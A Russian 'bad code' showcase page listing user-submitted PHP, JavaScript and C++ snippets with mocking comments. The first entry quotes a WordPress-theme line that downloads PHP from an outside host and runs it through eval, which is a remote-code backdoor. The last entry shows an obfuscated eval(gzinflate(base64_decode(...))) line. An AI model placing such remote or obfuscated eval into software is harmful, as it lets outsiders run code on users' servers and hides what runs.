1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #6698

    +171

    1. 1
    return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=27&n'));

    Вот такие простые ребята клепают темы для вордпресса.

    yasenhui, 17 Мая 2011

    Комментарии (22)
  3. JavaScript / Говнокод #6333

    +171

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    var perviy = document.getElementById ('perviy');
    var vtoroy = document.getElementById ('vtoroy');
    perviy += vtoroy;
    vtoroy = perviy - vtoroy;
    perviy -= vtoroy;

    Меняем элементы местами.

    fuckyounoob, 13 Апреля 2011

    Комментарии (13)
  4. PHP / Говнокод #6294

    +171

    1. 1
    2. 2
    3. 3
    global $_GET,$_POST,$HTTP_POST_VARS,$HTTP_GET_VARS;
    if (!is_array($_GET)){$_GET=$HTTP_GET_VARS;}
    if (!is_array($_POST))$_GET=$HTTP_POST_VARS;

    NemoReturns, 08 Апреля 2011

    Комментарии (7)
  5. C++ / Говнокод #6252

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    ...
    
    bool GameLocations::checkButtonsEnabled() const
    {
    	GameClassT& gc = GameClass::instance();
    	return
    		!gc.getCurrentLocationPopup() &&
    		!gc.getHud().getCurrentWindowFore() &&
    		!gc.isMenuOpen() &&
    		!gc.isEndOfDay() &&
    		!GameClass::instance().isMouseConsumedThisFrame();
    }
    
    ...
    
    void LocationPopupBase::update(float dt)
    {
    	...
    
    	const bool inputEnabled =
    		m_isActive &&
    		!m_talentUsedWindowActive &&
    		!m_dialogueManager.isVisible() &&
    		!GameClass::instance().getHud().getCurrentWindowBack() &&
    		!GameClass::instance().getHud().getCurrentWindowFore() &&
    		(!m_currentAction ||
    		 ((*m_currentActionPhase == AP_Finalize) && !m_currentAction->m_immediateFinalize)) &&
    		 m_actionSequenceCallbacks.empty();
    
    	setInputEnabled(inputEnabled);
    }
    
    ...

    Вот во что со временем превращаются игровые проекты, в которых нет никакой стейт-машины или хоть какого-нибудь её аналога.

    Это - только вершина айсберга. Разнообразные (старые и новые) баги обработки ввода постоянно появляются из ниоткуда, исчезают в никуда, а фиксить их приходится минимум по пять раз в неделю.

    Kirinyale, 06 Апреля 2011

    Комментарии (12)
  6. JavaScript / Говнокод #6079

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    inExp = function (dig, exp) {
    02.if (exp == 1) return alert(dig);
    03.if (exp == 2) return alert(dig*dig);
    04.if (exp == 3) return alert(dig*dig*dig);
    05.if (exp == 4) return alert(dig*dig*dig*dig);
    06.if (exp == 5) return alert(dig*dig*dig*dig*dig);
    07.if (exp == 6) return alert(dig*dig*dig*dig*dig*dig);
    08.if (exp == 7) return alert(dig*dig*dig*dig*dig*dig*dig);
    09.if (exp == 8 ) return alert(dig*dig*dig*dig*dig*dig*dig*dig);
    10.if (exp == 9) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig);
    11.if (exp == 10) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    12.if (exp == 11) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    13.if (exp == 12) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    14.if (exp == 13) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    15.if (exp == 14) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    16.if (exp == 15) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    17.if (exp == 16) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    18.if (exp == 17) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    19.if (exp == 18) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    20.if (exp == 19) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    21.if (exp == 20) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    22.if (exp == 21) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    23.if (exp == 22) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    24.if (exp == 23) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    25.if (exp == 24) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    26.if (exp == 25) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    27.if (exp == 26) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    28.if (exp == 27) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    29.if (exp == 28) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    30.if (exp == 29) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    31.if (exp == 30) return alert(dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig*dig);
    32.}

    Боян не? попалось на глаза в блоге каком-то случайно

    vitaly, 24 Марта 2011

    Комментарии (27)
  7. C++ / Говнокод #5914

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    bool BMPTextureLoader::Load (GraphicContent **content, string file_name)
    {
      int width, height;
      int bpp;
      unsigned char *pixels;
      ifstream file (file_name.c_str());
      char temp[4];
      long unsigned int data_shift;
    //Read BMP identifier (bfType)
      file.read(temp,2);
      temp[2] = '\0';
      if ((temp[0] != 'B') || (temp[1] != 'M'))
      {
        return false;
      }
    //Ignore file size and two reserved zero (bfSize, bfReserved1, bfReserved2)
      file.ignore(8);
    //Read pixel-data shift (bfOffBits)
      file.read(temp,4);
      data_shift = 0;
      for (int i=0; i<4; i++)
      {
        data_shift += (int)(temp[i]) * pow(256.0,i);
      }
      if (data_shift < 54)
      {
        return false;
      }
    //Ignore information data size (biSize)
      file.ignore(4);  
    //Read image width (biWidth)
      file.read(temp,4);
      width = 0;
      for (int i=0; i<4; i++)
      {
        width += (int)(temp[i]) * pow(256.0,i);
      }
      if (width < 0)
      {
        return false;
      }
    //Read image height (biHeight)
      file.read(temp,4);
      height = 0;  
      for (int i=0; i<4; i++)
      height += (int)(temp[i]) * pow(256.0,i);
      if (height < 0)
      {
        return false;
      }
    //Read mandatory 1 (biPlanes)
      file.ignore(2);
    //Read bite per pixel (biBitCount)
      file.read(temp,2);
      int bipp = 0;
      bipp += (int)(temp[0]) + (int)(temp[1])*256;
      if ((bipp <= 0) || (bipp / 8. != 3))
      {
        return false;
      }
      bpp = 3;
    //Read compression type (biCompression)
      file.read(temp,4);
      int c_type = 0;
      for (int i=0; i<4; i++)
      {
        c_type += (int)(temp[i]) * pow(256.0,i);
      }
      if (c_type != 0)
      {
        return false;
      }
      file.close();
      file.open(file_name);
      file.ignore (data_shift);
    //Read pixel data
      pixels = new unsigned char[width*height*bpp];
      for (int i=height-1; i>=0; i--)
      {
        for (int j=0; j<width; j++)
        {
          file.read(reinterpret_cast<char*>(&pixels[i*width*bpp + j*bpp + 2]), 1);
          file.read(reinterpret_cast<char*>(&pixels[i*width*bpp + j*bpp + 1]), 1);
          file.read(reinterpret_cast<char*>(&pixels[i*width*bpp + j*bpp]), 1);
        }
      }
    //Create texture
      Terminal terminal;

    Считываю BMP файл. Размеры, количество бит на пиксель и тип сжатия считываются нормально. Бит на пиксель 24, сжатия нет(0). Дальше я переоткрываю файл и отступаю нужное кол-во пикселей (смещение данных). После этого считываю данные о цветах пикселей. С рисунками нарисованными непосредственно мной всё проходит нормально. Но с картинками взятыми из интернета происходит сбой. После определённого пикселя считывание прекращается. По дебагу получается что при достижение этого пикселя наступает конец файла. Пробовал вырезать куски изображения из нета и переносить в свой файл. Одни куски переносятся и всё нормально, другие обрывают считывание. Наблюдал эту проблему у нескольких рисунков. Возможно кто-то сталкивался с такой проблемой?

    Источник: http://www.gamedev.ru/code/forum/?id=144831

    TarasB, 07 Марта 2011

    Комментарии (19)
  8. C++ / Говнокод #5899

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    void Cryptogram(const vector<string> &vector1, vector<string> &vector2)
    {
      string word;
      char new_letter;
      long i, j, wordSize, vecSize, vecSize2;
      vecSize = vector1.size();
      for(j=0; j<vecSize; j++)
        {
          word = vector1[j];
          //cout<<word<<endl;
          wordSize = word.size();
          cout<<wordSize<<endl;
          for(i=0; i<wordSize; i++)
      {
        new_letter = word[i];
        cout<<"& " << new_letter<< " " << isalpha(new_letter) << endl;
        if(isalpha(new_letter)==true)
          {
            if(isupper(new_letter)==true)
        {
    
          if (new_letter == 'A')
            new_letter = 'W';
          else if(new_letter == 'B')
            new_letter = 'Y';
          else if(new_letter == 'C')
            new_letter = 'I';
          else if(new_letter == 'D')
            new_letter = 'J';
          else if(new_letter == 'E')
            new_letter = 'K';
          else if(new_letter == 'F')
            new_letter = 'C';
          else if(new_letter == 'G')
            new_letter = 'U';
          else if(new_letter == 'H')
            new_letter = 'V';
          else if(new_letter == 'I')
            new_letter = 'D';
          else if(new_letter == 'J')
            new_letter = 'P';
          else if(new_letter == 'K')
            new_letter = 'Q';
          else if(new_letter == 'L')
            new_letter = 'L';
          else if(new_letter == 'M')
            new_letter = 'Z';
          else if(new_letter == 'N')
            new_letter = 'H';
          else if(new_letter == 'O')
    
            new_letter = 'T';
          else if(new_letter == 'P')
            new_letter = 'G';
          else if(new_letter == 'Q')
            new_letter = 'A';
          else if(new_letter == 'R')
            new_letter = 'B';
          else if(new_letter == 'S')
            new_letter = 'M';
          else if(new_letter == 'T')
            new_letter = 'X';
          else if(new_letter == 'U')
            new_letter = 'E';
          else if(new_letter == 'V')
            new_letter = 'F';
          else if(new_letter == 'W')
            new_letter = 'O';
          else if(new_letter == 'X')
            new_letter = 'N';
          else if(new_letter == 'Y')
            new_letter = 'R';
          else if(new_letter == 'Z')
            new_letter = 'S';
        }

    Cryptogram function, it's much longer, with 26 if statements if the letter is lowercase.

    BigEndian, 06 Марта 2011

    Комментарии (8)
  9. PHP / Говнокод #5788

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    if($nav_url=="blog.php")
    {
    $ahaha='2';
    eval('$code["$elementtype"] .= "' . fetch_template('navbar_link') . '";');
    $ahaha='';
    }
    else
    {
    eval('$code["$elementtype"] .= "' . fetch_template('navbar_link') . '";');
    }

    Ахаха!

    symbix, 23 Февраля 2011

    Комментарии (6)
  10. C++ / Говнокод #5701

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    #include <iostream>
    
    template <int n>
    struct Solution
    {
      static const int count = Solution<n / 10>::count + 1;
      static const int sum = Solution<n / 10>::sum + n % 10;
      static const int last = n % 10;
      static const int first = Solution<n / 10>::first;
    };
    
    #define DECLARE_ONE_DIGIT_SOLUTION(n) template <>\
                                          struct Solution<n>\
                                          {\
                                            static const int count = 1;\
                                            static const int sum = n;\
                                            static const int last = n;\
                                            static const int first = n;\
                                          };
    
    DECLARE_ONE_DIGIT_SOLUTION(0)
    DECLARE_ONE_DIGIT_SOLUTION(1)
    DECLARE_ONE_DIGIT_SOLUTION(2)
    DECLARE_ONE_DIGIT_SOLUTION(3)
    DECLARE_ONE_DIGIT_SOLUTION(4)
    DECLARE_ONE_DIGIT_SOLUTION(5)
    DECLARE_ONE_DIGIT_SOLUTION(6)
    DECLARE_ONE_DIGIT_SOLUTION(7)
    DECLARE_ONE_DIGIT_SOLUTION(8)
    DECLARE_ONE_DIGIT_SOLUTION(9)
    
    int main()
    {
      const int number = 1024; // <-- то самое число a
    
      std::cout << "Number of digits: " << Solution<number>::count << std::endl;
      std::cout << "Sum: " << Solution<number>::sum << std::endl;
      std::cout << "Last digit: " << Solution<number>::last << std::endl;
      std::cout << "First digit: " << Solution<number>::first << std::endl;
    
      return 0;
    }

    Это один из ответов к слезной просьбе какого-то школьника (студента) выполнить за него д/з на С++ в разделе development форума на ЛОРе. Такую программу нарочно хрен напишешь.

    Само задание: «Дано натуральное число а (a≤100). Напишите программу, определяющую количество цифр в этом числе, сумму его цифр, выводящую на экран первую и последнюю цифру через два пробела».

    deniska, 16 Февраля 2011

    Комментарии (119)
  11. PHP / Говнокод #5677

    +171

    1. 1
    <?php eval(gzinflate(base64_decode('s7ezsS/IKODl4uVKzkksLlYISS0uUagG8RXSSvOSSzLz88BiGpogUQUFhdTkjHwFJUeFEqCgkjVQqBZVcXF+bmo8iKehkgjTU5RaUlqUp6CSqKCtYATXU2tjDwA='))); ?>

    Сегодня приятель спросил «а есть смысл сжимать PHP» и выдал вот эту хуйню. Сказал, что все свои проекты так сжимает. Как такое поддерживать потом?

    proxor, 15 Февраля 2011

    Комментарии (19)